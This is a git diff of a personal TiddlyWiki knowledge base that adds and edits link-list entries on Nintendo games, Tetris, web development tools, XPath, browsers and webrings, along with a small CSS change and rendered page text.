+{"title":"Super Mario 64","created":"20230202232653119","creator":"Octt","modified":"20240118233234375","modifier":"Octt","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^WikipediaFrame \"Super Mario 64\">>\n\n* \u003C\u003CYoutubeL _5IDmXNS14I \"UNDETECTABLE Cheats Jeopardize Super Mario 64 Speedrunning!?\">>\n\n!!! Mods\n\n* [[Shotgun Mario 64|https://romhacking.com/hack/shotgun-mario-64]] --- [\u003C\u003CYoutubeL YHdUHSv2lPc>>]\n"},
+{"title":"Super Mario Bros.","created":"20230209153716905","creator":"Octt","modified":"20240119011227992","modifier":"Octt","tags":"Game","text":"\u003C\u003C^wikipediaframe Super_Mario_Bros. en>>\n\n* [[SMBDIS.ASM - A Comprehensive Super Mario Bros. Disassembly|https://gist.github.com/1wErt3r/4048722]]\n\n* [[Super Mario Bros. 3Mix|https://www.sonicepoch.com/sm3mix/]] --- //The spectacular, full-scale hack of SMB3! Implementing concepts from many games that came well after the original title.// --- \u003C\u003C[# Thread\"https://www.romhacking.net/forum/index.php?topic=14049.0\">> \u003C\u003C[# Release\"https://www.romhacking.net/hacks/2068/\">> \u003C\u003C[# Git\"https://github.com/captainsouthbird/3Mix\">> \u003C\u003C[# ROM\"https://archive.org/details/super-mario-bros.-3-mix\">>\n"},
{"title":"Super Nintendo Entertainment System","created":"20231212222847342","creator":"Octt","modified":"20231212223439290","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"SNES\">>\n\n* [[SNES Central|https://snescentral.com/index.php]]\n\n!! Star Fox\n\n\u003C\u003C^wikipediaframe \"Star Fox\">>\n\n* [[Super Star Fox Weekend / Starwing Competition|https://snescentral.com/article.php?id=0942]]\n"},
{"title":"Super Tux:en","created":"20230130161956837","creator":"Octt","modified":"20230206203924228","modifier":"Octt","tags":"$:/i18n:en Game","text":"\u003C\u003CMediaWiki SuperTux en 2>>"},
{"title":"SuperTuxKart","created":"20230130074458840","creator":"Octt","modified":"20230219142818385","modifier":"Octt","tags":"$:/i18n:en Racing 3D Libre Game","text":"\u003C\u003C^wikipediaframe SuperTuxKart en>>"},
@@ -1443,7 +1444,7 @@
{"title":"Templating language","created":"20231203235203040","creator":"Octt","modified":"20231210224130939","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Templating language\">>\n\n* [[Liquid|https://shopify.github.io/liquid/]] (docs) --- //Safe, customer-facing template language for flexible web apps.//, as well as many static site generators --- \u003C\u003C[# Git\"https://github.com/Shopify/liquid\">>\n** [[How to concatenate / append a string to another one in Jekyll / Liquid?|https://stackoverflow.com/questions/23688939/how-to-concatenate-append-a-string-to-another-one-in-jekyll-liquid]] --- best way is `{% capture varfull %}{{ var1 }} and also {{ var2 }}{% endcapture %}`\n"},
{"title":"Terminal/multiplexer","text":"\u003C\u003C^wikipediaframe \"Terminal multiplexer\">>\n\n!! ''GNU Screen''\n\n\u003C\u003C^wikipediaframe \"GNU Screen\">>\n\n* [[Setting a name for a screen session|https://unix.stackexchange.com/questions/12227/setting-a-name-for-a-screen-session]] --- spawn with `-S \u003CName>`, attach to with `-xS \u003CName>`\n"},
{"title":"Termux","created":"20230205144623259","creator":"Octt","modified":"20230905210020595","modifier":"Octt","tags":"Android App","text":"* https://termux.dev/en/\n* https://github.com/termux/\n\n\u003C\u003C^wikipediaframe Termux>>\n"},
-{"title":"Tetris","created":"20230112091241450","creator":"Octt","icon":"๐งฉ","modified":"20231105142732129","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Tetris","tags":"TODO Puzzle $:/i18n:en Game Generic $:/Games","text":"\u003C\u003C^wikipediaframe Tetris>>\n\n* [[Tetrisconcept|https://tetrisconcept.net/]] --- technical Tetris forum\n** [[Tetrisconcept Tetris Fundamentals|https://www.tetrisconcept.com/p/start.html]] --- some fundamentals on advanced Tetris techniques\n\n* [[Josh's NES Tetris Hacks and Mods|https://tetrisconcept.net/threads/joshs-nes-tetris-hacks-and-mods.2762/]]\n\n!!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://reactgular.github.io/tetromino\">>\n"},
+{"title":"Tetris","created":"20230112091241450","creator":"Octt","icon":"๐งฉ","modified":"20240119000406763","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Tetris","tags":"TODO Puzzle $:/i18n:en Game Generic $:/Games","text":"\u003C\u003C^wikipediaframe Tetris>>\n\n* \u003C\u003CYoutubeL GuJ5UuknsHU \"After 34 Years, Someone Finally Beat Tetris [aGameScout]\">>\n\n* [[Tetrisconcept|https://tetrisconcept.net/]] --- technical Tetris forum\n** [[Tetrisconcept Tetris Fundamentals|https://www.tetrisconcept.com/p/start.html]] --- some fundamentals on advanced Tetris techniques\n\n* [[Josh's NES Tetris Hacks and Mods|https://tetrisconcept.net/threads/joshs-nes-tetris-hacks-and-mods.2762/]]\n\n!!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://reactgular.github.io/tetromino\">>\n"},
{"title":"Tetris Effect:en","created":"20230114125105418","creator":"Octt","modified":"20230207221713804","modifier":"Octt","tags":"TODO $:/i18n:en Game Proprietary"},
{"title":"Tetris/effect","created":"20230205144742742","creator":"Octt","modified":"20230404135921397","modifier":"Octt","tags":"","text":"\u003C\u003CMediaWiki Tetris_effect en 4>>\n\n* https://practicalpie.com/the-tetris-effect/\n"},
{"title":"Text","created":"20230225150019278","creator":"Octt","modified":"20231224171649361","modifier":"Octt","tags":"WIP","text":"...\n\n* [[SymbolCopy.com โ|https://www.symbolcopy.com/]] --- //Copy โ๏ธ and Paste ๐ Symbols//, without JavaScript\n* [[SYMBL โ WHEN TEXT IS NOT ENOUGH|]] --- //(โโฟโ) Symbols, Emojis, Characters, Scripts, Alphabets, Hieroglyphs and the entire Unicode//\n\nText styling via particular characters:\n\n* \u003C\u003ChttpsL InstaFonts.io>> --- //Fonts & Text Symbols (โ๏ธโก๏ธโป๏ธโ๏ธ ๐๐๐ ๐ฉ๐๐ฌ๐ญ๐)//\n* [[Stylish Text Generator (๐ฌ๐ธ๐น๐ ๐ถ๐๐น ๐น๐ช๐ผ๐ฝ๐ฎ โฅ) โ LingoJam|https://lingojam.com/StylishTextGenerator]]\n* [[unicode.style|https://github.com/ekmartin/unicode-style]] --- //Style text by substituting characters with suitable unicode replacements//\n** Similar/additional: [[YayText|https://yaytext.com/]], https://github.com/ssrathi/text_styler, https://github.com/steinerkelvin/unicode-text-style\n\n!! ''Unicode''\n\n\u003C\u003C^wikipediaframe Unicode>>\n\n* [[Unicode Search ๐|http://xahlee.info/comp/unicode_index.html]]\n* [[BabelStone Unicode Tools|https://www.babelstone.co.uk/Unicode/]]\n\n!! ''Emoticons''\n\n\u003C\u003C^wikipediaframe Emoticon>>\n\n!!! ''Kaomojis''\n\nSome personal favourites\n\n|`(^_^)`||\n|`(T_T)`|crying, sadness|\n|`(^.^)`||\n|`(x_x)`|stressed, dead|\n|`(-_-;)`|nervousness, sweat drop|\n|`ยฏ\\_(ใ)_/ยฏ`|shrugging, idk|\n|`(โโฟโโฟ)`||\n\nEven more Kaomojis: [[kaomoji.ru|http://kaomoji.ru/en/]]\n\n!!! ''Emoji''\n\n\u003C\u003C^wikipediaframe Emoji>>\n\n* [[Emojipedia|https://emojipedia.org/]]\n* [[Blob emojis|https://wikipedia.org/wiki/Blob_emoji]]\n"},
@@ -1492,7 +1493,7 @@
{"title":"Web Browser","created":"20230217100639349","creator":"Octt","modified":"20240107125655740","modifier":"Octt","tags":"Web","text":"\u003C\u003C^wikipediaframe \"Web Browser\">>\n\n* [[Fulguris|https://slions.net/resources/fulguris.10/]] --- webview-based //Sparkling Android Web Browser// --- \u003C\u003C[# Git\"https://github.com/Slion/Fulguris\">>\n* [[Via Browser|https://viayoo.com/en/]] --- //lite browser with powerful functions. Designed on geek thinking.//\n\n!!! [[Chromium|https://chromium.org]]\n\n* [[Website by woolyss|https://chromium.woolyss.com/]] --- //created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows// ... also indexes other Chromium downloads\n\n* [[Remote debug Android devices (Chrome for Developers)|https://developer.chrome.com/docs/devtools/remote-debugging/]]\n\n; Forks\n: [[Ungoogled Chromium|https://github.com/ungoogled-software]]\n: [[Bromite|https://bromite.org]] (Android) --- \u003C\u003C[# Git\"https://github.com/bromite\">>\n\n!!! [[Firefox|https://firefox.com]]\n\n* [[How to Install Any Add-on in Firefox for Android|https://www.maketecheasier.com/install-addon-firefox-android]] (Firefox Beta is needed)\n** [[Usando Firefox Beta, รจ possibile aggiungere una lista custom di #addons...|https://mastodon.uno/@octo/111064836718607256]]\n* [[Why Extensions can't modify Mozilla sites (like AMO)|https://ninetailed.ninja/extensions-modify-mozilla-sites.html]]\n* [[How to increase Firefox scrollbar width?|https://unix.stackexchange.com/questions/304711/how-to-increase-firefox-scrollbar-width]] --- set `widget.non-native-theme.scrollbar.size.override` to number in `about:config`\n\n; Forks\n: [[LibreWolf|https://librewolf.net]] (Desktop)\n: \u003C\u003CFDroidLink org.mozilla.fennec_fdroid \"Fennec F-Droid\">> (Android)\n: [[CENO Browser|https://censorship.no/en/index.html]] (Android) --- //Short for censorship.no!, is the worldโs first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised.// --- \u003C\u003C[ \"[[Git|https://gitlab.com/censorship-no]]\">>\n\n; Forks of the old codebase, Mozilla Suite\n: [[Mypal|https://www.mypal-browser.org/]] --- //Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful!// --- \u003C\u003C[# \"Old Sources\" \"https://github.com/Feodor2/Mypal/tags\">>\n: [[Pale Moon|https://www.palemoon.org/]]\n: //''[[SeaMonkey project|https://www.seamonkey-project.org/]]'' is a community effort to develop the SeaMonkey Internet Application Suite//\n\n!!! \u003C\u003CFlathubLink org.gnome.Epiphany \"Epiphany\">>\n\n* https://gitlab.gnome.org/GNOME/epiphany\n\n!!! Misc\n\n* //''[[Falkon|https://www.falkon.org/]]'' is a KDE web browser using QtWebEngine rendering engine// (same as Chromium, but the overall base is different)\n* //''[[K-Meleon|http://kmeleonbrowser.org/]]'' is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.//\n* [[Konqueror|https://apps.kde.org/konqueror/]] --- //Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing.// --- basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support\n\n!! Extensions / Add-ons\n\n* [[octollection|https://addons.mozilla.org/en-US/firefox/collections/18049170/octollection]] --- my add-ons collection for Firefox\n* [[Redirector|https://einaregilsson.com/redirector/]]\n"},
{"title":"Web design ideas","created":"20221103223952562","modified":"20230206111552426","modifier":"Octt","tags":"Internet $:/i18n:en","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries"},
{"title":"Web/Design","created":"20231224172607192","creator":"Octt","modified":"20231224172753668","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web design\">>\n\n* [[Codrops|https://tympanus.net/codrops/]] --- //Keeping web professionals inspired & up-to-date since 2009// --- \u003C\u003C[# Git\"https://github.com/codrops\">>\n** [[Text Input Effects|https://tympanus.net/Development/TextInputEffects/]] --- //Simple styles and effects for enhancing text input interactions.// --- \u003C\u003C[# Git\"https://github.com/codrops/TextInputEffects\">>\n\n!!! Other misc libraries and designs\n\n* [[Typo|https://neatnik.net/typo/]] --- //Typo types the way a real person types. There are subtle variations in speed, occasional errors that are corrected, and a general feeling of humanity.// --- \u003C\u003C[# Git\"https://github.com/neatnik/typo\">>\n"},
-{"title":"Web/Development","created":"20230221204801305","creator":"Octt","modified":"20231224152937255","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web development\">>\n\n!!! ''References''\n\n; Misc\n: [[Window: postMessage()|https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage]]\n: [[Proxy Auto-Configuration (PAC) file|https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file]]\n\n; DOM querying\n: [[Find all text nodes in HTML page|https://stackoverflow.com/a/10730777]]\n: [[Find the closest ancestor element that has a specific class|https://stackoverflow.com/a/49516201]] | [[Element.closest()|https://developer.mozilla.org/en-US/docs/Web/API/Element/closest]]\n\n; DOM manipulation\n: [[Insert a childNode to a specific position|https://stackoverflow.com/a/26259544]]\n: [[Prepend/append childNode to beginning/end of element|https://stackoverflow.com/a/45656684]]\n: [[Replace a DOM Element|https://www.javascripttutorial.net/dom/manipulating/replace-a-dom-element/]]\n\n; Embeds\n: [[From object to iframe โ other embedding technologies|https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies]]\n: [[Alternative to iFrames with HTML5?|https://stackoverflow.com/questions/8702704/alternative-to-iframes-with-html5#31845361]]\n: [[Why are iframes considered dangerous and a security risk?|https://stackoverflow.com/questions/7289139/why-are-iframes-considered-dangerous-and-a-security-risk]]\n: [[4 IFrame Security Concerns You Should Know|https://blog.bitsrc.io/4-security-concerns-with-iframes-every-web-developer-should-know-24c73e6a33e4?gi=2c961c6663da]]\n\n!!! ''Tools and similar''\n\n* https://github.com/csstools/oldie - //tranforms CSS to be compatible with old Internet Explorer//\n* [[CORS Anywhere|https://github.com/Rob--W/cors-anywhere]] - //Server proxy which adds CORS headers to the request//\n\n!!!! Minification\n\n* ~~[[node-minify|https://github.com/srod/node-minify]] - //Light Node.js module and CLI app that compress javascript, css and html files//~~\n\n!!! ''Misc''\n\n* [[web.dev|https://web.dev/]] - //Guidance to build modern web experiences that work on any browser// (?)\n* [[Go Make Things|https://gomakethings.com/]] - //how to build a simpler, more resilient web//\n** [[The Vanilla JS Toolkit|https://vanillajstoolkit.com/]] - //tools and snippets for working with JavaScript// (libraries, functions, polyfills, learning)\n* [[Web Accessibility Developer Guide|https://www.accessibility-developer-guide.com/]]\n* [[Using \u003Cstyle> tags in the \u003Cbody> with other HTML|https://stackoverflow.com/questions/2830296/using-style-tags-in-the-body-with-other-html]] --- there once was a `scoped` attribute for `\u003Cstyle>` blocks, but it's nowadays deprecated and styles apply to all document elements despite their own position in the tree\n\n* [[Convert any website into a PWA in just 3 simple steps|https://dev.to/developertharun/convert-any-website-into-a-pwa-in-just-3-simple-steps-35pp]]\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n* [[How to inject service-worker.js to a webpage via Chrome Extension? I want to add offline functionality to the existing page|https://stackoverflow.com/questions/72356003/how-to-inject-service-worker-js-to-a-webpage-via-chrome-extension-i-want-to-add]]\n* [[Convert HTML5 Canvas Sequence to a Video File|https://stackoverflow.com/questions/19235286/convert-html5-canvas-sequence-to-a-video-file/62065826#62065826]]\n** customize video quality by changing codec: \u003C\u003CMDNLink Web/API/MediaRecorder/mimeType#examples MediaRecorder/mimeType>>\n\n* [[Hail, Babel! The Transpiling Overlord|https://www.telerik.com/blogs/hail-babel-the-transpiling-overlord]]\n** [[Using babel to transpile to es3 (safari compliant)|https://stackoverflow.com/questions/40205547/using-babel-to-transpile-to-es3-safari-compliant]]\n** [[How to Convert ES6 into ES5 using Babel|https://medium.com/@SunnyB/how-to-convert-es6-into-es5-using-babel-1b533d31a169]]\n\n* [[How to add full text search to your website|https://medium.com/dev-channel/how-to-add-full-text-search-to-your-website-4e9c80ce2bf4]]\n** [[BlogSearch|https://github.com/kbumsik/blogsearch]]\n** [[MiniSearch, a client-side full-text search engine|https://lucaongaro.eu/blog/2019/01/30/minisearch-client-side-fulltext-search-engine.html]]\n** [[Client-side full-text search in CSS|https://www.redotheweb.com/2013/05/15/client-side-full-text-search-in-css.html?]] (+ a bit of JS :c)\n** [[Lunr.js|https://github.com/olivernn/lunr.js/]]\n*** [[Add Search to Your Static Site with Lunr.js (Hugo, Vanilla JS)|https://aaronluna.dev/blog/add-search-to-static-site-lunrjs-hugo-vanillajs/]]\n*** [[Adding Super Fast Frontend Search in Rails with Lunr|https://blog.cloud66.com/adding-super-fast-frontend-search-in-rails-with-lunr]]\n"},
+{"title":"Web/Development","created":"20230221204801305","creator":"Octt","modified":"20240119001119592","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web development\">>\n\n!!! ''References''\n\n; Misc\n: [[Window: postMessage()|https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage]]\n: [[Proxy Auto-Configuration (PAC) file|https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file]]\n\n; DOM querying\n: [[Find all text nodes in HTML page|https://stackoverflow.com/a/10730777]]\n: [[Find the closest ancestor element that has a specific class|https://stackoverflow.com/a/49516201]] | [[Element.closest()|https://developer.mozilla.org/en-US/docs/Web/API/Element/closest]]\n\n; DOM manipulation\n: [[Insert a childNode to a specific position|https://stackoverflow.com/a/26259544]]\n: [[Prepend/append childNode to beginning/end of element|https://stackoverflow.com/a/45656684]]\n: [[Replace a DOM Element|https://www.javascripttutorial.net/dom/manipulating/replace-a-dom-element/]]\n\n; Embeds\n: [[From object to iframe โ other embedding technologies|https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies]]\n: [[Alternative to iFrames with HTML5?|https://stackoverflow.com/questions/8702704/alternative-to-iframes-with-html5#31845361]]\n: [[Why are iframes considered dangerous and a security risk?|https://stackoverflow.com/questions/7289139/why-are-iframes-considered-dangerous-and-a-security-risk]]\n: [[4 IFrame Security Concerns You Should Know|https://blog.bitsrc.io/4-security-concerns-with-iframes-every-web-developer-should-know-24c73e6a33e4?gi=2c961c6663da]]\n\n!!! ''Tools and similar''\n\n* https://github.com/csstools/oldie - //tranforms CSS to be compatible with old Internet Explorer//\n* [[CORS Anywhere|https://github.com/Rob--W/cors-anywhere]] - //Server proxy which adds CORS headers to the request//\n* [[Web developer tools (mothereff.in)|https://mothereff.in/]] --- \u003C\u003C[# Git\"https://github.com/mathiasbynens/mothereff.in\">>\n\n!!!! Minification\n\n* ~~[[node-minify|https://github.com/srod/node-minify]] - //Light Node.js module and CLI app that compress javascript, css and html files//~~\n\n!!! ''Misc''\n\n* [[web.dev|https://web.dev/]] - //Guidance to build modern web experiences that work on any browser// (?)\n* [[Go Make Things|https://gomakethings.com/]] - //how to build a simpler, more resilient web//\n** [[The Vanilla JS Toolkit|https://vanillajstoolkit.com/]] - //tools and snippets for working with JavaScript// (libraries, functions, polyfills, learning)\n* [[Web Accessibility Developer Guide|https://www.accessibility-developer-guide.com/]]\n* [[Using \u003Cstyle> tags in the \u003Cbody> with other HTML|https://stackoverflow.com/questions/2830296/using-style-tags-in-the-body-with-other-html]] --- there once was a `scoped` attribute for `\u003Cstyle>` blocks, but it's nowadays deprecated and styles apply to all document elements despite their own position in the tree\n\n* [[Convert any website into a PWA in just 3 simple steps|https://dev.to/developertharun/convert-any-website-into-a-pwa-in-just-3-simple-steps-35pp]]\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n* [[How to inject service-worker.js to a webpage via Chrome Extension? I want to add offline functionality to the existing page|https://stackoverflow.com/questions/72356003/how-to-inject-service-worker-js-to-a-webpage-via-chrome-extension-i-want-to-add]]\n* [[Convert HTML5 Canvas Sequence to a Video File|https://stackoverflow.com/questions/19235286/convert-html5-canvas-sequence-to-a-video-file/62065826#62065826]]\n** customize video quality by changing codec: \u003C\u003CMDNLink Web/API/MediaRecorder/mimeType#examples MediaRecorder/mimeType>>\n\n* [[Hail, Babel! The Transpiling Overlord|https://www.telerik.com/blogs/hail-babel-the-transpiling-overlord]]\n** [[Using babel to transpile to es3 (safari compliant)|https://stackoverflow.com/questions/40205547/using-babel-to-transpile-to-es3-safari-compliant]]\n** [[How to Convert ES6 into ES5 using Babel|https://medium.com/@SunnyB/how-to-convert-es6-into-es5-using-babel-1b533d31a169]]\n\n* [[How to add full text search to your website|https://medium.com/dev-channel/how-to-add-full-text-search-to-your-website-4e9c80ce2bf4]]\n** [[BlogSearch|https://github.com/kbumsik/blogsearch]]\n** [[MiniSearch, a client-side full-text search engine|https://lucaongaro.eu/blog/2019/01/30/minisearch-client-side-fulltext-search-engine.html]]\n** [[Client-side full-text search in CSS|https://www.redotheweb.com/2013/05/15/client-side-full-text-search-in-css.html?]] (+ a bit of JS :c)\n** [[Lunr.js|https://github.com/olivernn/lunr.js/]]\n*** [[Add Search to Your Static Site with Lunr.js (Hugo, Vanilla JS)|https://aaronluna.dev/blog/add-search-to-static-site-lunrjs-hugo-vanillajs/]]\n*** [[Adding Super Fast Frontend Search in Rails with Lunr|https://blog.cloud66.com/adding-super-fast-frontend-search-in-rails-with-lunr]]\n"},
{"title":"Webmaster\\Sysadmin Resources","created":"20230207175931355","creator":"Octt","modified":"20230207185026793","modifier":"Octt","tags":"","text":"!!! ''Network''\n\n* [[ping]]\n* [[traceroute]]"},
{"title":"Webrings","created":"20221103220025295","modified":"20230206111552433","modifier":"Octt","tags":"Internet TODO $:/i18n:en","text":"\u003C\u003CMediaWiki Webring en 4>>\n\n!!! ''List of many Webrings''\n\n//I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)//\n\nLegend:\n\n* โ : Joined\n* ๐ : Waiting\n* โ: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)\n* โ: Got rejected\n* โ๏ธ (or empty): Noted only\n\n---\n\n* โ๏ธ https://250kb.club, https://512kb.club, https://1mb.club\n* โ https://fediring.net\n* โ๏ธ https://hotlinewebring.club\n* โ๏ธ https://xhtml.club\n* โ๏ธ https://webring.xxiivv.com\n* โ https://yesterweb.org/webring\n"},
{"title":"Website","created":"20230217225430678","creator":"Octt","modified":"20230217225540214","modifier":"Octt","tags":"Web","text":"\u003C\u003C^wikipediaframe Website>>"},
@@ -1519,7 +1520,7 @@
{"title":"Xiaomi","created":"20230207191250602","creator":"Octt","modified":"20230207191924416","modifier":"Octt","tags":"Company China","text":"\u003C\u003CMediaWiki Xiaomi en 3>>\n\n!!! ''Resources''\n\n!!!! ''Mobile devices''\n\n!!!!! ''Firmwares and tools''\n\n* https://xiaomifirmwareupdater.com/\n* https://xiaomirom.com/en/\n* https://mifirm.net/\n"},
{"title":"Xiaomi Redmi 9T","created":"20230205143148006","creator":"Octt","modified":"20230207191007063","modifier":"Octt","tags":"Android Xiaomi","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/xiaomi_redmi_9t-10670.php\">>\n\u003C!-- \u003C\u003CiFrameBypass \"https://html.duckduckgo.com/html?q=! Redmi 9T site:gsmarena.com\">> -->\n\n!!! ''Resources'' (for `lime`, tested working on `lemon`)\n\n* [[TWRP 3.5.A10 Unofficial (BETA)|https://forum.xda-developers.com/t/recovery-3-5-a10-twrp-unnoficial-for-lime-redmi9t-beta.4233045/]] - [[[Download latest|https://androidfilehost.com/?fid=2188818919693773061]]] [[[Git|https://github.com/geoanto555/android_device_xiaomi_lime]]]\n* [[Project Elixir (Android 13)|https://forum.xda-developers.com/t/rom-12-1-juice-chime-project-elixir-v2-x-official.4413741/]] - [[[Downloads|https://www.pling.com/p/1723537/]]]\n"},
{"title":"XML","created":"20230202225649145","creator":"Octt","modified":"20230823101857409","modifier":"Octt","tags":"$:/i18n:en Markup WIP","text":"\u003C\u003C^WikipediaFrame XML en>>\n\n* [[The XML FAQ|https://xml.silmaril.ie]] --- //Frequently-Asked Questions about the Extensible Markup Language//\n"},
-{"title":"XPath","created":"20230817233205916","creator":"Octt","modified":"20230817233235394","modifier":"Octt","tags":"XML WIP","text":"\u003C\u003C^wikipediaframe XPath>>"},
+{"title":"XPath","created":"20230817233205916","creator":"Octt","modified":"20240118233818349","modifier":"Octt","tags":"XML WIP","text":"\u003C\u003C^wikipediaframe XPath>>\n\n* [[XPather|http://xpather.com/]] --- //XPath online real-time tester, evaluator and generator for XML & HTML//\n"},
{"title":"XSL","created":"20230818075543447","creator":"Octt","modified":"20230818075558395","modifier":"Octt","tags":"XML","text":"\u003C\u003C^wikipediaframe XSL>>\n\n"},
{"title":"XSLT","created":"20230818075444257","creator":"Octt","modified":"20231224001236299","modifier":"Octt","tags":"XSL","text":"\u003C\u003C^wikipediaframe XSLT>>\n\n* [[XSL if test with multiple test conditions|https://stackoverflow.com/questions/21381055/xsl-if-test-with-multiple-test-conditions]] --- `\u003Cxsl:choose> \u003Cxsl:when test=\"expression\"> ...`\n* [[how to check with 2 conditions for test in xsl if\\when|https://stackoverflow.com/questions/1654082/how-to-check-with-2-conditions-for-test-in-xslwhen#1654104]] --- `\u003Cxsl:when test=\"$test1 = 'Yes' or $test1 = 'yes'\">`\n"},
{"title":"YouTube","created":"20230109104559438","creator":"Octt","modified":"20231223000105506","modifier":"Octt","tags":"Internet TODO $:/i18n:en","text":"\u003C\u003C^wikipediaframe YouTube>>\n\n* [[/watch?v=|https://www.youtube.com/watch?v=]] --- as of December 2023, this URL loads the video \u003C\u003CYoutubeL 9xp1XWmJ_Wo \"YouTube is not currently available on this device.\">> (directly, without redirects)\n* [[Infinite-Storage-Glitch|https://github.com/DvorakDwarf/Infinite-Storage-Glitch]] - //Use YouTube as cloud storage for any files// - \u003C\u003C[ \"[[Mirror|https://gitea.it/octo/Infinite-Storage-Glitch]]\">>\n"},
diff --git a/Static.html b/Static.html
index 48abaae0..615505d8 100644
--- a/Static.html
+++ b/Static.html
@@ -3965,7 +3965,9 @@
margin-top: unset;
margin-bottom: unset;
}
-/* Override the font used for icon display by the the <$:/plugins/Gk0Wk/notionpage-covericon> plugin, and then also apply it to the :after of .tc-tiddlylink anchors, for consistency.
+/* โ */html, body {
+ overflow-x: hidden;
+}/* Override the font used for icon display by the the <$:/plugins/Gk0Wk/notionpage-covericon> plugin, and then also apply it to the :after of .tc-tiddlylink anchors, for consistency.
We override adding a "sans-serif" to the start due to a spacing bug (?) */
.gk0wk-notionpagebg-icon1,
.gk0wk-notionpagebg-icon2,
@@ -4159,1257 +4161,251 @@
General information about the site will soon be available. Licensing information is available here. This is "OcttKB" because I'm Octt. With this thing, I'm learning and thinking in public.
Tips
Click on tag pills, often as present on top of a tiddler frame, just below the title, to navigate to all tiddlers that are tagged with that tag.
Unlike with folders, a tiddler can have many tags at the same time, allowing for non-linear navigation.
Click on different parts of the title of an open tiddler to navigate between children, both in a folder-like structure (other tiddlers present as path children of the current one, thanks to slash (/) separation), and with the tag structure (tiddlers tagged with the name of the current one).
Note: The KB is also served in plain, unencrypted HTTP at the http 5th-level subdomain: http://http.kb.octt.eu.org.
Other Wiki Things
I have made the following into links as they were making this tiddler very laggy, to the point of causing hanging issues on my mobile. Hold thight when opening them (if you're using the JavaScript-rich app, otherwise you're golden).
Emscripten โ An LLVM-to-WebAssembly Compiler โ [Git]
+
+
Tachiyomi โ epic open-source reader for Android, but which recently ceased development due to shitty hypercapitalist manwha company issuing a C&D... we are waiting for a spiritual successor
Main repo w/sources disappeared from GitHub, and the entire app too from F-Droid; they are probably still on Internet Archive, and I found this mirror here (idk if trustworthy): https://git.mihon.dev/tachiyomi
Dash is an experimental digital currency that enables instant, private payments to anyone, anywhere in the world.
It's a fork of Bitcoin. There are some advantages, some technical and some situational, but a strange disadvantage I have seen appears to be that wallet syncs take a lot of time.
ONLYOFFICE โ An office suite that combines text, spreadsheet and presentation editors allowing to create, view and edit local documents โ [Git][Android Git and APKs]
Crypt.ee โ Cryptee is a privacy focused, encrypted and secure documents, notes, files and photos service โ seems nifty but apparently it's not truly open-source, just the web client code is. โ [Git]
CryptPad โ Collaborative office suite that is end-to-end encrypted and open-source โ [Git]
ONLYOFFICE โ An office suite that combines text, spreadsheet and presentation editors allowing to create, view and edit local documents โ [Git][Android Git and APKs]
How to resolve many feeds not getting updated in time? โ Configuration > Archiving > Do not automatically refresh more often than: [default should be 1 hour, set to a lower time].
Docker: https://hub.docker.com/r/linuxserver/freshrss (wouldn't use it anymore, it was a pain to migrate from that to a manual config, more of a pain than it is to do the manual setup again, assuming you already have a web server ready)
My instance: https://feeds.octt.eu.org; if I keep it like this (don't privatize it) you can use it as a demo, it shows the feeds of some of my things
How to resolve many feeds not getting updated in time? โ Configuration > Archiving > Do not automatically refresh more often than: [default should be 1 hour, set to a lower time].
MobyGames Video Game Database โ extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis
The King of Grabs โ Grabbing amazing video game screenshots one game at a time.
VGMaps.com: The Video Game Atlas โ the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!
Bootleg Games Wiki โ Wiki dedicated to unlicensed and bootleg video games
Hard Drive is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK itโs satire donโt ban us.
MobyGames Video Game Database โ extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis
The King of Grabs โ Grabbing amazing video game screenshots one game at a time.
VGMaps.com: The Video Game Atlas โ the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!
Bootleg Games Wiki โ Wiki dedicated to unlicensed and bootleg video games
Hard Drive is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK itโs satire donโt ban us.
